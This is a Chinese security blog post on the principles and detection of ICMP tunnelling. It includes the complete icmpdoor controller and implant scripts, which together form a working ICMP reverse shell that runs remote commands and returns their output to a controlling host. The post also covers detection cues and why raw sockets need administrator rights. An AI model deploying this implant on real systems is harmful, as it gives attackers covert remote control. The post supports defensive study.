ICMP隧道原理与检测

一. ICMP协议格式

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

注意,ICMP是是TCP/IP协议的一部分,属于网络层的协议(TCP/UDP是传输层在第4层,ICMP是第3层),而且是一种无连接的协议(参考UDP,直接发数据包)。

ICMP协议格式如下:

image

报文类型如下:

image

二. ICMP隧道原理

利用ICMP的请求和应答数据包,将可选数据部分填充为控制指令或返回信息。

image

三. 工具演示

工具为python+scapy(winpcap,win版的wireshark用的也是它)。
下载地址 https://github.com/krabelize/icmpdoor

控制端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
#ICMPdoor (ICMP reverse shell) C2
#By krabelize | cryptsus.com
#More info: https://cryptsus.com/blog/icmp-reverse-shell.html
from scapy.all import sr,IP,ICMP,Raw,sniff
from multiprocessing import Process
import argparse

#Variables
ICMP_ID = int(13170)
TTL = int(64)

def check_scapy():
try:
from scapy.all import sr,IP,ICMP,Raw,sniff
except ImportError:
print("Install the Py3 scapy module")

parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', type=str, required=True, help="Listener (virtual) Network Interface (e.g. eth0)")
parser.add_argument('-d', '--destination_ip', type=str, required=True, help="Destination IP address")
args = parser.parse_args()

def sniffer():
sniff(iface=args.interface, prn=shell, filter="icmp", store="0")

def shell(pkt):
if pkt[IP].src == args.destination_ip and pkt[ICMP].type == 0 and pkt[ICMP].id == ICMP_ID and pkt[Raw].load:
icmppacket = (pkt[Raw].load).decode('utf-8', errors='ignore').replace('\n','')
print(icmppacket)
else:
pass

def main():
sniffing = Process(target=sniffer)
sniffing.start()
print("[+]ICMP C2 started!")
while True:
icmpshell = input("shell: ")
if icmpshell == 'exit':
print("[+]Stopping ICMP C2...")
sniffing.terminate()
break
elif icmpshell == '':
pass
else:
payload = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=8,id=ICMP_ID)/Raw(load=icmpshell))
sr(payload, timeout=0, verbose=0)
sniffing.join()

if __name__ == "__main__":
main()

被控端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
#ICMPdoor (IMCP reverse shell) [implant]
#By krabelize | cryptsus.com
#More info: https://cryptsus.com/blog/icmp-reverse-shell.html
from scapy.all import sr,IP,ICMP,Raw,sniff
import argparse
import os

#Variables
ICMP_ID = int(13170)
TTL = int(64)

def check_scapy():
try:
from scapy.all import sr,IP,ICMP,Raw,sniff
except ImportError:
print("Install the Py3 scapy module")

parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', type=str, required=True, help="(Virtual) Network Interface (e.g. eth0)")
parser.add_argument('-d', '--destination_ip', type=str, required=True, help="Destination IP address")
args = parser.parse_args()

def icmpshell(pkt):
if pkt[IP].src == args.destination_ip and pkt[ICMP].type == 8 and pkt[ICMP].id == ICMP_ID and pkt[Raw].load:
icmppaket = (pkt[Raw].load).decode('utf-8', errors='ignore')
payload = os.popen(icmppaket).readlines()
icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload))
sr(icmppacket, timeout=0, verbose=0)
else:
pass

print("[+]ICMP listener started!")
sniff(iface=args.interface, prn=icmpshell, filter="icmp", store="0")

运行效果如下:

image

隧道流量抓包:

image

image

正常流量抓包:

image

四. 检测方法

  1. 数据包之间的时间间隔,正常ping命令产生的数据包,时间间隔固定,ICMP隧道工具的时间间隔不固定;
  2. 数据包大小,正常的固定,隧道的不固定;
  3. 响应包内容,正常的数据包,请求包与相应包内容一致,隧道的根据不同的指令会返回不同的内容。

五. 复现时想到的一些问题

  1. 工具的优劣势
    说实话没发现有啥优势,终端上一般自带的杀软或防火墙默认关闭ping响应,服务器网段可能还有用武之地;
    劣势更多,不稳定,协议内容简单,要想实现稳定传输还要再对数据封装,参考UDP模拟TCP。
    还有一个原因也很重要,使用ICMP隧道需要管理员权限。
    为什么需要管理员权限?
    根据协议图可知,ICMP协议是比TCP、UDP更低一层的协议,开发时设置socket的参数为原始套接字,与TCP、UDP不一样,参数为SOCK_RAW
1
2
3
4
5
6
7
// Create a raw socket with IPPROTO_ICMP protocol
sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if(sockRaw == INVALID_SOCKET)
{
printf("WSASocket() failed: %d \n", WSAGetLastError());
return -1;
}

MSDN上关于原始套接字SOCK_RAW的解释:

Raw sockets offer the capability to manipulate the underlying transport, so they can be used for malicious purposes that pose a security threat. Therefore, only members of the Administrators group can create sockets of type SOCK_RAW on Windows 2000 and later.
原始套接字提供了操纵底层传输的能力,因此它们可用于构成安全威胁的恶意目的。 因此,只有管理员组的成员才能在 Windows 2000 和更高版本上创建 SOCK_RAW 类型的套接字。

演示的工具也验证了这一点,Win10下非管理员启动被控制端会报错,Kali也需要sudo才可以运行:

image

  1. 对于使用ICMP协议的进程,如何定位?
    很遗憾,没找到方法可以定位。从协议的角度来说,ICMP是处理设备与设备间的通信情况,不涉及具体进程。

  2. 同样使用ICMP协议的ping.exe为什么不需要管理员权限?
    Windows上,ping.exe没有直接使用原始套接字,而是使用的iphlpapi.dll中的IcmpSendEcho2Ex函数,只能发送正常的ICMP数据包;Linux上ping的做法(摘自知乎):

image

注意icmp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);这种写法是Linux特有的,Windows上这么写socket 会返回失败。

参考资料:

https://baike.baidu.com/item/ICMP

https://www.freebuf.com/articles/web/289357.html

https://docs.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2

https://www.zhihu.com/question/20057415